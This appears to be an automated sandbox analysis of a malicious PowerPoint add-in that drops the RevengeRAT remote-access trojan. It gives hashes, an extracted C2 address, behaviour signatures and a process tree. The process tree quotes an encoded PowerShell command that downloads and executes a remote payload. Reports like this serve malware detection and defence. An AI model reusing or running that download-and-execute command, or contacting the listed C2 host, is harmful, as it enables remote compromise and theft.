Analysis

  • max time kernel
    117s
  • max time network
    143s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    25-03-2024 08:00

General

  • Target

    Solicitacao n 3422022.ppa

  • Size

    88KB

  • MD5

    ff08378dd83e84df74a9ce07f5105aa2

  • SHA1

    2ba229ede6c3b0a53e966d6f491e556b8b9efe72

  • SHA256

    994fbd9bbcb4586bcc97a0c0fb48f08b3af8acac284624c84d2d102fb1f3762e

  • SHA512

    f09ce3a2e8a21979c8d8060ee8206cc6d4146a80176a3f243f35fa0f8f021ec349fb3474ff0635c3543092c34ad6bcb5898895c37d05763f6945fc42fa8ca1fc

  • SSDEEP

    768:0cOoejkNcs+kozxpxWMjcXocyNumLu8J7icjo:0WejkNcsuzxpxWbYT1u

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

craxsrat.ddns.com.br:333

Mutex

27d7e6701f5e

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Solicitacao n 3422022.ppa"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2024
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2948
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHQAZQBzAHQAaQBuAGcALQBlAGEAZgAyADgALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9AGIAOAA1AGIANABiADMANAAtADQAZgBiADkALQA0ADgANAAwAC0AYQAxAGQANwAtADMAMgA3AGEAZABlAGIAZQAwAGMANAA0AA0ACgAnACkAOwAgAA0ACgBHAHoATQBJAFQAWgBQAFIAVwBhAFQATQBvAEMAVwBiAGEAUwBNAFcAQgBkAEgASwBhAG8AcgBJAGMAdwBkAFkAbwBpAHoAeQBWAFIAdgBSAEkAUgBNAGYASABLAHoAawBYAEMAcwBwAFcAUwBIAGMAcwBjAEgARwBrAGgAUQBtAFcAVQB6AEsASABEAGgAawBHAHkAbwBMAHMAQwBkAHMAVABpAE0ADQAKAA==""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1184
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • Checks processor information in registry
          PID:2132

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1184-36-0x0000000002770000-0x0000000002788000-memory.dmp
      Filesize

      96KB

    • memory/1184-29-0x0000000002770000-0x0000000002788000-memory.dmp
      Filesize

      96KB

    • memory/1184-32-0x0000000002770000-0x0000000002788000-memory.dmp
      Filesize

      96KB

    • memory/1184-34-0x0000000002770000-0x0000000002788000-memory.dmp
      Filesize

      96KB

    • memory/1184-57-0x000000006B0B0000-0x000000006B65B000-memory.dmp
      Filesize

      5.7MB

    • memory/1184-41-0x00000000027B0000-0x00000000027B1000-memory.dmp
      Filesize

      4KB

    • memory/1184-40-0x0000000002770000-0x0000000002788000-memory.dmp
      Filesize

      96KB

    • memory/1184-38-0x0000000002770000-0x0000000002788000-memory.dmp
      Filesize

      96KB

    • memory/1184-30-0x0000000002770000-0x0000000002788000-memory.dmp
      Filesize

      96KB

    • memory/1184-24-0x000000006B0B0000-0x000000006B65B000-memory.dmp
      Filesize

      5.7MB

    • memory/1184-25-0x000000006B0B0000-0x000000006B65B000-memory.dmp
      Filesize

      5.7MB

    • memory/1184-27-0x0000000002720000-0x0000000002760000-memory.dmp
      Filesize

      256KB

    • memory/1184-26-0x0000000002720000-0x0000000002760000-memory.dmp
      Filesize

      256KB

    • memory/1184-28-0x00000000054E0000-0x000000000552F000-memory.dmp
      Filesize

      316KB

    • memory/2024-8-0x00000000046F0000-0x00000000047F0000-memory.dmp
      Filesize

      1024KB

    • memory/2024-17-0x00000000046F0000-0x00000000047F0000-memory.dmp
      Filesize

      1024KB

    • memory/2024-2-0x0000000071EDD000-0x0000000071EE8000-memory.dmp
      Filesize

      44KB

    • memory/2024-0-0x000000002DFC1000-0x000000002DFC2000-memory.dmp
      Filesize

      4KB

    • memory/2024-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/2024-20-0x0000000071EDD000-0x0000000071EE8000-memory.dmp
      Filesize

      44KB

    • memory/2024-19-0x00000000046F0000-0x00000000047F0000-memory.dmp
      Filesize

      1024KB

    • memory/2024-18-0x00000000046F0000-0x00000000047F0000-memory.dmp
      Filesize

      1024KB

    • memory/2024-61-0x0000000071EDD000-0x0000000071EE8000-memory.dmp
      Filesize

      44KB

    • memory/2024-60-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/2024-21-0x00000000046F0000-0x00000000047F0000-memory.dmp
      Filesize

      1024KB

    • memory/2132-46-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/2132-44-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/2132-42-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/2132-56-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/2132-54-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/2132-48-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/2132-58-0x00000000671B0000-0x000000006789E000-memory.dmp
      Filesize

      6.9MB

    • memory/2132-59-0x00000000049E0000-0x0000000004A20000-memory.dmp
      Filesize

      256KB

    • memory/2132-50-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
      Filesize

      4KB

    • memory/2132-52-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/2132-62-0x00000000671B0000-0x000000006789E000-memory.dmp
      Filesize

      6.9MB